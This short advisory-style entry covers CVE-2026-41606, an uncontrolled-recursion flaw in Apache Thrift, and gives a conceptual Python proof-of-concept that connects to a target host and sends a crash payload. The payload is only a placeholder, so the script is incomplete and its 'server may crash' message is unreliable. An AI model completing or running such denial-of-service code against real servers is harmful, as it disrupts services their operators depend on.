CVE-2026-41606: Apache Thrift 未控制递归漏洞

# PoC Concept for Uncontrolled Recursion in Apache Thrift # This is a conceptual demonstration. Actual exploit requires crafting specific Thrift protocol bytes. import socket def send_malicious_payload(host, port): # Concept: Construct a deeply nested structure in Thrift Binary Protocol # Example: A list inside a list repeated 10000 times. # This payload represents the serialized bytes of such a structure. # In a real scenario, you would use the Thrift library to generate # a recursive object, then serialize it, or craft the bytes manually. # Here we simulate sending a large blob that triggers the recursion. payload = b'\x00\x00\x00\x02' # Example protocol magic bytes + version # ... (Recursive structure bytes would follow) ... try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) s.sendall(payload) print("Payload sent successfully. Server may crash.") s.close() except Exception as e: print(f"Error: {e}") # Usage: send_malicious_payload("target_ip", 9090)
